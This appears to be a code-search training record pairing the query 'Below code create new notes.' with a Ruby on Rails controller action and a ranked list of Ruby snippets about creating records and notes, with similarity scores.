"def create\r\n# abusing create for turning filter on\r\n return index if params[:filter].to_s == 'on'\r\n# not authorized\r\n unless dc_user_can(DcPermission::CAN_CREATE)\r\n flash[:error] = t('drgcms.not_authorized')\r\n return index\r\n end\r\n#\r\n if params['id'].nil? # create record\r\n# Prevent double form submit\r\n params[:form_time_stamp] = params[:form_time_stamp].to_i\r\n session[:form_time_stamp] ||= 0\r\n return index if params[:form_time_stamp] <= session[:form_time_stamp]\r\n session[:form_time_stamp] = params[:form_time_stamp]\r\n# \r\n create_new_empty_record\r\n params[:return_to] = 'index' if params[:commit] == t('drgcms.save&back') # save & back\r\n if save_data\r\n @parms['action'] = 'update'\r\n @parms['id'] = @record.id # must be set, for proper update link\r\n flash[:info] = t('drgcms.doc_saved')\r\n return process_return_to(params[:return_to]) if params[:return_to]\r\n render action: :edit\r\n else\r\n render action: :new\r\n end\r\n else # duplicate record\r\n find_record\r\n params['dup_fields'] += ',' if params['dup_fields'] # for easier field matching\r\n new_doc = duplicate_document(@record)\r\n create_new_empty_record(new_doc)\r\n update_standards()\r\n @record.save!\r\n\r\n index\r\n end\r\nend",
"def before_action \n end",
"def new_record?\n new?\n end",
"def new_record?\n new?\n end",
"def new_record?\n new?\n end",
"def new_record?\n new?\n end",
"def new\n\t\t\t\"Should we make something new?\"\n\t\tend",
"def controller_issues_new_after_save (context ={})\n controller_issues_edit_before_save(context)\n end",
"def new_record?\n nil\n end",
"def create\n #init object with params from form\n @record = Record.new(record_params)\n if @record.save\n redirect_to(records_path) #redirect back to index\n else\n render('new') #renders the form template for resubmission\n end\n end",
"def new_record?\n self[:id].nil?\n \tend",
"def new?\n\t\tcreate?\n\tend",
"def after_created\n logger.debug(\" ##### after created called for #{@model.inspect}\")\n redirect_to :action => 'show', :id => @model\n end",
"def can_add?( record, type = '*' )\n return false unless can_change?( record, type )\n\n return false if !allow_new_records?\n\n true\n end",
"def should_generate_new_friendly_id?\n\t\t# new_record?\n\t\ttrue\n\tend",
"def after_create_hook\n execute_hooks_for(:after, :create)\n end",
"def before_create\n \tself.day_made ||= Date.current if new_record?\n \tself.got_bonus = false\n \tend",
"def on_pre_request( request ); end",
"def before_create_save(record)\n do_save_logic(record)\n record.usr_id = session[:usr_id]\n end",
"def new_record?\n @new_record\n end",
"def new_record?\n @new_record\n end",
"def new_record?\n @new_record\n end",
"def controller_issues_new_after_save(context={ })\n controller_issues_edit_after_save context\n end",
"def authorize_create!(change_set:)\n if change_set.append_id.present?\n authorize! :update, query_service.find_by(id: Array(change_set.append_id).first)\n else\n authorize! :create, resource_class\n end\n end",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def before_save_hook\n execute_hooks_for(:before, :save)\n end",
"def adjust_after_create\n # The record is in @record, do what you will, this precedes a save.\n end",
"def after_save(record)\n \n end",
"def _before_validation\n end",
"def create\n\n\tend",
"def new\n\n\t\t\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new\n\tend",
"def new_record?\n\t\tid.nil?\n\tend",
"def create_with_custom_method\n # check if class has custom create method\n return create_without_custom_method unless self.class.custom_create_method\n self.class.connection.log_custom_method(\"custom create method\", \"#{self.class.name} Create\") do\n self.id = self.class.custom_create_method.bind(self).call\n end\n @new_record = false\n id\n end",
"def new_record?\n @new_record == true\n end",
"def create\n super\n end",
"def create\n # Creating a new with strong params\n @new = New.new(new_params)\n # Assinging that new to a specific user\n @new.user = User.first\n\n # Authorizing that only admin users can create a new\n authorize @new\n\n # If new is created and saved\n if @new.save\n # Show the specific new just created\n render :show, status: :created\n else\n # Show an error on the creation of the new\n render_error\n end\n end",
"def admin_new # admin create customer\n @customer = Customer.new\n end"
] |
[
"0.71086025",
"0.68594503",
"0.68331736",
"0.68326193",
"0.6678914",
"0.64111745",
"0.64111745",
"0.6319246",
"0.62625295",
"0.62143826",
"0.6094404",
"0.6061116",
"0.6055378",
"0.6052322",
"0.60434544",
"0.60434544",
"0.60434544",
"0.60434544",
"0.59550214",
"0.59178275",
"0.59162074",
"0.58959246",
"0.5887998",
"0.58830214",
"0.58830214",
"0.58830214",
"0.58572924",
"0.5851752",
"0.5798737",
"0.57952756",
"0.5791917",
"0.5777496",
"0.5749021",
"0.5740983",
"0.5738678",
"0.57352084",
"0.5732026",
"0.5727484",
"0.5717441",
"0.57146466",
"0.5705011",
"0.56974584",
"0.56740373",
"0.5671885",
"0.5666143",
"0.56554455",
"0.5639459",
"0.56334406",
"0.56334406",
"0.56334406",
"0.56334406",
"0.5610784",
"0.56011516",
"0.55952",
"0.55938774",
"0.5589227",
"0.55702466",
"0.5562461",
"0.5561546",
"0.5555979",
"0.55470073",
"0.5545162",
"0.55417335",
"0.55321914",
"0.5528357",
"0.5528357",
"0.5528357",
"0.55279124",
"0.5524285",
"0.552313",
"0.552313",
"0.552313",
"0.552313",
"0.552313",
"0.55228245",
"0.5520383",
"0.55046827",
"0.5499433",
"0.5497222",
"0.5488678",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.54870826",
"0.5485186",
"0.5467018",
"0.5465445",
"0.5465129",
"0.54624975",
"0.545576"
] |
0.0
|
-1
|
Below code create new notes.
|
def new
# Below code is use to create 4 array object of Communication
@com_notes_entries= Array.new(4){Communication.new}
assignmentuser_id = @sp_session.assignment.nil? ? @sp_session.user.id : @sp_session.assignment.user.id
lawfirm_user = User.find assignmentuser_id
matter_contact_records
@salutations = CompanyLookup.get_salutations(lawfirm_user)
@employee = User.find(assignmentuser_id).employee
@designations = Designation.get_companys_designation(lawfirm_user.company.id)
params[:to_date]=(Date.today+1.week).to_s
@outstanding_tasks = UserTask.get_outstanding_tasks(assignmentuser_id,is_secretary_or_team_manager?,params[:to_date])
@task_completed = UserTask.get_task_completed_to_secretary(assignmentuser_id,is_secretary_or_team_manager?)
@my_instructions = Communication.get_my_instructions( lawfirm_user.company.id,assignmentuser_id)
respond_to do |format|
format.html
format.js
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_notes\n end",
"def create_new_note\n note_type = params[:note_type][:note_type_id]\n new_note = keytech_note_handler.create(note_type, params[:element_key])\n new_note.subject = params[:subject]\n new_note.text = params[:body]\n response = keytech_note_handler.save(new_note)\n if response[:success] == true\n flash[:info] = 'Notiz wurde angelegt'\n else\n flash[:error] = \"Notiz konnte nicht angelegt werden: #{response[:error]}\"\n end\n redirect_to \"/element/#{params[:element_key]}/notes\"\n end",
"def create\n @note = current_user.notes.new(params[:note])\n @note.note = view_context.markdown(@note.note).gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n @note.save\n $statsd.increment 'animal.note.created'\n respond_with(@note)\n end",
"def new_note(content)\n note = Note.new({:type_id => self.id,\n :owner => 'bill',\n :content => content})\n note.save\n end",
"def add_notes\n \tNote.create!(content: params[:body], user_id: params[:user_id], email_conversation_id: params[:email_conversation_id])\n \tredirect_to chat_history_path(lead_id: params[:lead_id])\n end",
"def create_note(note, topics, attachments)\n click_create_new_note\n enter_new_note_subject note\n enter_note_body note\n add_attachments_to_new_note(note, attachments)\n add_topics(note, topics)\n click_save_new_note\n set_new_note_id note\n end",
"def createNote(noteText)\n refreshToken\n path = \"/api/note?auth=#{@token}\\&email=#{@email}&modify=#{ERB::Util.url_encode(Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"))}\"\n data = noteText\n payload = Base64.encode64(data)\n response, data = agent.post(path,payload)\n unless response.code.to_i == 200\n raise \"Failed to create new note\"\n end\n response.body\n end",
"def create_note(contents, title = nil, description = nil)\n Dropio::Resource.client.create_note(self, contents, title, description)\n end",
"def new_note(db)\n puts \"\\nWhat category would you like this note to be saved under?? examples html, css, ruby.....ect.\"\n category = gets.chomp\n\n puts \"\\nWhat would you like to name this note?? examples how to make a new line, how to round to the nearest whole number, ...ect \"\n name = gets.chomp\n\n puts \"\\nAdd your note below\"\n note = gets.chomp\n\n create_note(db, category, name, note)\nend",
"def create\n @note = Note.new(note_params)\n @note.save\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note != \"\"\n self.notes << Note.find_or_create_by(content: note)\n end\n end\n\n end",
"def new_notes=(note)\n\t\tif !note.blank? then\n\t\t\ttime = Time.now.strftime(\"%m-%d-%y %I:%M %p\")\n\t\t\tnew_note = \"<p>#{note}<br/>\"\n\t\t\tnew_note << \"<span class=\\\"info\\\">\"\n\t\t\tnew_note << \"[#{time}]\"\n\t\t\tnew_note << \"</span></p>\"\n\t\t\tif self.notes.blank? then\n\t\t\t\tself.notes = new_note\n\t\t\telse\n\t\t\t\tself.notes << new_note\n\t\t\tend\n\t\tend\n\tend",
"def add_note(note)\n self.notes = notes.present? ? \"\\n\\n#{note}\" : note\n save\n end",
"def create\n @note = build_note\n\n if note.save\n successful_creation\n else\n @errors = note.errors\n render_errors\n end\n end",
"def note_contents=(notes)\n \tnotes.each do |content|\n \t\tself.notes << Note.find_or_create_by(content: content) unless content == \"\"\n \tend\n end",
"def create\n importance = 11\n @note = Note.new(body: note_params['body'], last_seen: Date.today, user_id: current_user.id, importance: importance)\n @note.add_tag(note_params['tag'].chomp.downcase, current_user.id)\n @note.add_second(note_params['second'].chomp.downcase, @note.tag.id, current_user.id)\n respond_to do |format|\n if @note.save\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { redirect_to notes_path, notice: @note.errors }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n note_attr = note_params\n tag_names = note_params[:tag].split(\" \")\n note_attr[:tag] = tag_names\n\n ActiveRecord::Base.transaction do\n Tag.add_count(tag_names, [])\n @note = Note.new(note_attr)\n raise \"ノートの作成ができませんでした。\" unless @note.save!\n end\n\n respond_to do |format|\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n end\n rescue => e\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end",
"def create(params = {})\n note = build(params)\n note.save\n note\n end",
"def create\n # must be logged in\n if !@user || !@user.id\n flash[:warning] = \"must be logged in\"\n render :action => :error\n return\n end\n # build a temporary new note\n @note = Note.new({:sponsor=>@user.id,:parent=>@note.id})\n # then allow edit to build a display over the subject matter\n edit\n end",
"def create_note(db, category, name, note)\n db.execute(\"INSERT INTO notes (category, name, note) VALUES (?, ?, ?)\", [category, name, note])\nend",
"def notes; end",
"def notes; end",
"def notes; end",
"def create\n\t\t@newEntry = Note.create(title: params[:title], entry: params[:entry], topic: params[:topic])\n\t\t@allNotes = Note.all\n\t\trender json: @allNotes\n\tend",
"def create\n @task_note = Note.new(params[:note])\n\n respond_to do |format|\n if @task_note.save\n format.html { redirect_to notes_path, notice: 'Task note was successfully created.' }\n format.json { render json: @task_note, status: :created, location: @task_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = current_user.notes.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @notes_list = @note.notes_lists.new(notes_list_params)\n respond_to do |format|\n if @notes_list.save\n format.html { redirect_to @note, notice: 'Notes list was successfully created.' }\n format.json { render :show, status: :created, location: @notes_list }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note.strip != \"\"\n content = self.notes.build(content: note)\n content.save\n end\n end\n end",
"def create\n notes_params = params[:note]\n @note = Note.new(notes_params)\n @note.created_by_id = current_user.id\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def create\n @note = Note.new(note_params)\n @note.subject_id = current_subject.id\n @note.save\n #@note.topic_id = current_topic.id\n respond_to do |format|\n if @note.save\n format.html { redirect_to subject_path(current_subject.id), notice: 'Notes uploaded successfully.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def notes_attributes=(notes)\n notes.each do |note|\n song_note = self.notes.build(content: note)\n song_note.save\n end\n end",
"def custom_action\n :new_note\n end",
"def create\n @note = current_user.notes.build(params[:note])\n respond_to do |format|\n if @note.save\n format.html do\n flash[:notice] = 'Note was successfully created.'\n redirect_to(@note)\n end\n format.xml { render :xml => @note.to_xml }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @note.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def post(authToken, noteStore, note)\n\tcreatedNote = noteStore.createNote(authToken, note)\n\tputs \"Successfully created a new note with GUID: #{createdNote.guid}\"\nend",
"def notes_generated(notes)\n puts green(\"Release notes generated: #{notes}\")\n end",
"def contact_note_add(id:, listid:, note:, **args)\n post(\n '/admin/api.php',\n query: {\n api_action: 'contact_note_add'\n },\n body: args.merge(\n id: id,\n listid: listid,\n note: note,\n )\n )\n end",
"def set_notes\n user_notes = current_user.notes\n @notes = user_notes.where.not(id: nil)\n @new_note = action_name != 'create' ? user_notes.build : user_notes.build(note_params)\n end",
"def create\n \n if get_case\n @note = @case.notes.build(note_params)\n path_notes = case_notes_path\n else\n @note = Note.new(note_params)\n path_notes = notes_path\n end\n\n @note.user = @user\n @note.firm = @firm\n \n respond_to do |format|\n if @note.save\n format.html { redirect_to path_notes, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @note = @user.notes.create(params[:note])\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to [@user,@note], notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: [@user,@note] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = Note.new(params[:note])\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @note = Note.new(note_params)\r\n if @note.save\r\n redirect_to @note\r\n else\r\n render :new\r\n end\r\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def create\n @note = @current_user.notes.create(note_params)\n render json: @note\n end",
"def notes=(notes)\n self.service.editObject({ \"notes\" => notes.to_s })\n self.refresh_details()\n end",
"def create_log(content)\n @note.title = to_utf8(@name) + \" - \" + Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n @note.tags = @tag.get\n @note.content = to_utf8(content)\n @note.create\n Logger.log_internal { \"Create note: #{@note.guid}\" }\n end",
"def create\n Rails.logger.info \"CREATING NEW NOTE with params #{params}\"\n receiver = find_by_type_and_id(params[:receiver_type], params[:receiver_id])\n note = Note.new(:message => params[:message], :sender => current_profile, :private => params[:private_note], :receiver => receiver)\n if (reply_to_note_id = params[:reply_to_note_id])\n note.receiver = Note.find(reply_to_note_id).sender\n note.replied_to = reply_to_note_id\n end\n note.save! \n flash[:notice] = \"Your message has ben sent.\" \n render :text => {:message => \"Messsage Sent\" }.to_json\n rescue Exception => e\n flash[:errors] = \"There was an error sending your message, please try again.\"\n render :text => {:message => \"Unable to save message.\", :error => e.message }.to_json\n end",
"def new_service_notes(service, note_data)\n user = User.where(admin: true, admin_users: true)\n if user.exists?\n new_note = service.notes.new(body: note_data, user_id: user.first.id)\n if new_note.save\n puts \" 🟢 Note: created (id: #{new_note.id}).\"\n return new_note.id\n else \n abort(\" 🔴 Note: was not created. Exiting. #{new_note.errors.messages}\")\n end\n else \n puts \" 👉 Note: not created as no viable admin user found to give credit to.\"\n end\n end",
"def notes\n run(helm('get', 'notes', name))\n end",
"def create\n @textnote = Textnote.new(textnote_params)\n\n respond_to do |format|\n if @textnote.save\n format.html { redirect_to current_user, notice: 'Textnote was successfully created.' }\n format.json { render :show, status: :created, location: @textnote }\n else\n format.html { render :new }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_note(project_id, story_id, text, options = {})\n options = { :note => options.merge!(:text => text) }\n post(\"projects/#{project_id}/stories\", options).note\n end",
"def append_note new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n DayEntry.post \"daily/update/#{id}\",\n %{<request><notes>#{notes}</notes><hours>#{hours}</hours></request>}\n end",
"def create\n\t\t# Create the note for that particular case\n\t\tcase_note = @case.case_notes.new(case_note_params)\n\t\tcase_note.user_id = current_user.id\n\n\t\tif case_note.save\n \t# response to the JSON\n \trender json: { success: true,message: \"Case Note Successfully Created.\", response: CaseNoteSerializer.new(case_note).as_json(root: false) },:status=>200\n\t else\n\t render :json=> { success: false, message: case_note.errors },:status=> 203\n\t end\n\tend",
"def make_note (notes_hash, framework=self.framework)\n\t\t\tprint_deb \"Attempting to create note with #{notes_hash.inspect}\"\n\t\t\t# check the required hash elements for a good note\n\t\t\t\n\t\t\t# <-- start weird bug work around\n\t\t\trequired_elements = [:data]\n\t\t\t#required_elements = [:data,:type]\n\t\t\tnotes_hash[:type] = \"db_fun\"\n\t\t\t# --> end weird bug work around\n\t\t\t\n\t\t\trequired_elements.each do |elem|\n\t\t\t\traise ArgumentError.new \"Missing required element (#{elem}) \" +\n\t\t\t\t\"for the note\" unless notes_hash[elem]\n\t\t\tend\n\t\t\tprint_deb \"Sending note to db with #{notes_hash.inspect}\"\n\t\t\tframework.db.report_note(notes_hash)\n\t\t\t\t\n\t\t\t#\n\t\t\t# Report a Note to the database. Notes can be tied to a Workspace, Host, or Service.\n\t\t\t#\n\t\t\t# opts MUST contain\n\t\t\t# +:data+:: whatever it is you're making a note of\n\t\t\t# +:type+:: The type of note, e.g. smb_peer_os\n\t\t\t#\n\t\t\t# opts can contain\n\t\t\t# +:workspace+:: the workspace to associate with this Note\n\t\t\t# +:host+:: an IP address or a Host object to associate with this Note\n\t\t\t# +:service+:: a Service object to associate with this Note\n\t\t\t# +:port+:: along with :host and proto, a service to associate with this Note\n\t\t\t# +:proto+:: along with :host and port, a service to associate with this Note\n\t\t\t# +:update+:: what to do in case a similar Note exists, see below\n\t\t\t#\n\t\t\t# The +:update+ option can have the following values:\n\t\t\t# +:unique+:: allow only a single Note per +:host+/+:type+ pair\n\t\t\t# +:unique_data+:: like +:uniqe+, but also compare +:data+\n\t\t\t# +:insert+:: always insert a new Note even if one with identical values exists\n\t\t\t#\n\t\t\t# If the provided +:host+ is an IP address and does not exist in the\n\t\t\t# database, it will be created. If +:workspace+, +:host+ and +:service+\n\t\t\t# are all omitted, the new Note will be associated with the current\n\t\t\t# workspace.\n\t\t\t#\n\t\tend",
"def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to course_notes_path(params[:course_id]), notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_note(note)\n notes << note\n end",
"def create\n if !session[:user]\n redirect_to login_path, :alert => \"You have to log in to create a note \"\n else\n @note = Note.new(note_params)\n if !session[:admin]\n @note.user = User.find_by name: session[:user]\n end\n respond_to do |format|\n if @note.save\n format.html { redirect_to notes_url, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != ''\n self.notes.build(content: content)\n end\n end\n end",
"def create\n @note = Note.new(:content => params[:content], :user => current_user)\n print(\"json note \"+ @note.to_json)\n if @note.save\n render :show, status: :created, location: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end",
"def create\n @note = Note.new(note_params)\n if @note.save\n render json: @note, status: :created, location: note_url(@note)\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post_note = PostNote.new(params[:post_note])\n\n respond_to do |format|\n if @post_note.save\n format.html { redirect_to(@post_note, :notice => 'Post note was successfully created.') }\n format.xml { render :xml => @post_note, :status => :created, :location => @post_note }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post_note.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @note = current_user.notes.build(params[:note])\n if @note.save\n flash[:notice] = 'Note was successfully created.'\n end\n respond_with(@note)\n end",
"def create\n @to_do_note = ToDoNote.new(to_do_note_params)\n\n respond_to do |format|\n if @to_do_note.save\n format.html { redirect_to @to_do_note, notice: 'To do note was successfully created.' }\n format.json { render :show, status: :created, location: @to_do_note }\n else\n format.html { render :new }\n format.json { render json: @to_do_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def note_create_params\n params.require(:note).permit(:project_id, :id, :title, :type, :description, :show)\n end",
"def create_comment(note,comment_text)\n Comment.create(:commentable_type=>note.class.name,:commentable_id=>note.id,:created_by_user_id=>current_user.id,\n :comment=>comment_text,:company_id=>note.company_id,:title=>note.class.name)\n end",
"def create\n @sticky_note = StickyNote.new(params[:sticky_note])\n\n respond_to do |format|\n if @sticky_note.save\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully created.' }\n format.json { render json: @sticky_note, status: :created, location: @sticky_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = Note.new(note_params)\n if @note.save\n render json: @note, status: :created, location: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n\n end",
"def make_note(note_store, note_title, note_body, parent_notebook=nil)\n # read the image, to make hash key in MD5\n file_path = save_image(@book.image)\n file_url = @book.image\n mime_type = MIME::Types.type_for(file_path).to_s\n image = File.open(file_path, \"rb\") { |io| io.read }\n hashFunc = Digest::MD5.new\n hashHex = hashFunc.hexdigest(image)\n\n # make mata data type to image\n data = Evernote::EDAM::Type::Data.new()\n data.size = image.size\n data.bodyHash = hashHex\n data.body = image\n\n # dataと併せて添付ファイル形式を作る\n resource = Evernote::EDAM::Type::Resource.new()\n resource.mime = \"image/jpeg\"\n resource.data = data\n resource.attributes = Evernote::EDAM::Type::ResourceAttributes.new()\n resource.attributes.fileName = file_url\n\n n_body = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\"\n n_body += \"<!DOCTYPE en-note SYSTEM \\\"http://xml.evernote.com/pub/enml2.dtd\\\">\"\n n_body += \"<en-note><en-media type=\\\"#{resource.mime}\\\" hash=\\\"#{hashHex}\\\"/>#{note_body}</en-note>\"\n\n ## Create note object\n our_note = Evernote::EDAM::Type::Note.new\n our_note.title = note_title\n our_note.tagNames = [ @book.author.gsub(' ', '') ]\n our_note.content = n_body\n our_note.resources = [ resource ]\n\n ## parent_notebook is optional; if omitted, default notebook is used\n if parent_notebook && parent_notebook.guid\n our_note.notebookGuid = parent_notebook.guid\n end\n\n ## Attempt to create note in Evernote account\n begin\n note = note_store.createNote(our_note)\n rescue Evernote::EDAM::Error::EDAMUserException => edue\n ## Something was wrong with the note data\n ## See EDAMErrorCode enumeration for error code explanation\n ## http://dev.evernote.com/documentation/reference/Errors.html#Enum_EDAMErrorCode\n puts \"EDAMUserException: #{edue}\"\n\n # image file delete\n File.unlink(file_path)\n rescue Evernote::EDAM::Error::EDAMNotFoundException => ednfe\n ## Parent Notebook GUID doesn't correspond to an actual notebook\n puts \"EDAMNotFoundException: Invalid parent notebook GUID\"\n\n # image file delete\n File.unlink(file_path)\n end\n\n # image file delete\n File.unlink(file_path)\n\n # save post datetime\n save_evernote_post_at\n\n ## Return created note object\n return note\n end",
"def click_create_new_note\n logger.debug 'Clicking the New Note button'\n wait_for_update_and_click new_note_button_element\n end",
"def add_remarks\n Remark.create(:user_id=>self.updated_by.nil? ? self.user_id : self.updated_by, :status => self.status, :department_id=>Department.current_department, :remarkable_id=>self.id, :remarkable_type=>self.class,:text=>self.notes)\n end",
"def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def note_contents=(contents)\n contents.each do |content|\n # next if content == ''\n if !content.empty?\n note = self.notes.build(content: content)\n # note = Note.find_or_create_by(content: content)\n # self.notes << note\n end\n end\n end",
"def note note, preview=nil\n preview ||= note[0..64]\n params = {\n contact_ids: [ self.id ],\n note: note,\n note_preview: preview\n }\n @nimble.post \"contacts/notes\", params\n end",
"def create\n @note = Note.new(note_params.merge(user: current_user))\n\n respond_to do |format|\n if @note.save\n format.html do\n flash[:notice] = t('controllers.notes.create.success')\n redirect_to @note.contact || @note\n end\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @note = Note.new\n end",
"def create\n @note = Note.new(note_params)\n @note.user = current_user\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sticky_note = StickyNote.new(sticky_note_params)\n\n respond_to do |format|\n if @sticky_note.save\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully created.' }\n format.json { render :show, status: :created, location: @sticky_note }\n else\n format.html { render :new }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create!(note)\n self.class.post('/notifications.xml', :body => note.to_xml)\n end",
"def create_note\n trap('SIGINT') do\n warn \"\\nCanceled\"\n exit!\n end\n # First make sure there isn't already a buildnotes file\n filename = find_note_file\n if filename\n system 'stty cbreak'\n fname = \"\\e[1;33m#{filename}\\e[1;37m\"\n yn = color_single_options(%w[y N])\n $stdout.syswrite \"#{fname} exists and appears to be a build note, continue anyway #{yn}\\e[1;37m? \\e[0m\"\n res = $stdin.sysread 1\n res.chomp!\n puts\n system 'stty cooked'\n\n unless res =~ /y/i\n puts 'Canceled'\n Process.exit 0\n end\n end\n\n title = File.basename(Dir.pwd)\n printf \"\\e[1;37mProject name \\e[0;32m[#{title}]\\e[1;37m: \\e[0m\"\n input = gets.chomp\n title = input unless input.empty?\n\n summary = ''\n printf \"\\e[1;37mProject summary: \\e[0m\"\n input = gets.chomp\n summary = input unless input.empty?\n\n ext = 'md'\n printf \"\\e[1;37mChoose build notes file extension \\e[0;32m[md]\\e[1;37m: \\e[0m\"\n input = gets.chomp\n ext = input unless input.empty?\n\n note = <<~EOBUILDNOTES\n # #{title}\n\n #{summary}\n\n ## File Structure\n\n Where are the main editable files? Is there a dist/build folder that should be ignored?\n\n ## Build\n\n What build system/parameters does this use?\n\n @run(./build command)\n\n ## Deploy\n\n What are the procedures/commands to deploy this project?\n\n ## Other\n\n Version control notes, additional gulp/rake/make/etc tasks...\n\n EOBUILDNOTES\n\n note_file = \"buildnotes.#{ext}\"\n\n if File.exist?(note_file)\n system 'stty cbreak'\n yn = color_single_options(%w[y N])\n file = \"\\e[1;33m#{filename}\"\n $stdout.syswrite \"\\e[1;37mAre you absolutely sure you want to overwrite #{file} #{yn}\\e[1;37m? \\e[0m\"\n res = $stdin.sysread 1\n res.chomp!\n puts\n system 'stty cooked'\n\n unless res =~ /y/i\n puts 'Canceled'\n Process.exit 0\n end\n end\n\n File.open(note_file, 'w') do |f|\n f.puts note\n puts \"Build notes for #{title} written to #{note_file}\"\n end\n end",
"def create_deal_note(deal_id, note)\n post(\"deals/#{deal_id}/notes\", note: { note: note })\n end",
"def create\n\n @note = @user.notes.new(params[:note])\n @note.created_by = current_user.id\n respond_to do |format|\n if @note.save\n flash[:notice] = 'You have posted successfully.'\n format.html { redirect_to(:controller => 'profile', :action => 'show', :login => @user.login) }\n format.xml { render :xml => @comment, :status => :created, :location => @comment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n end\n end\n end",
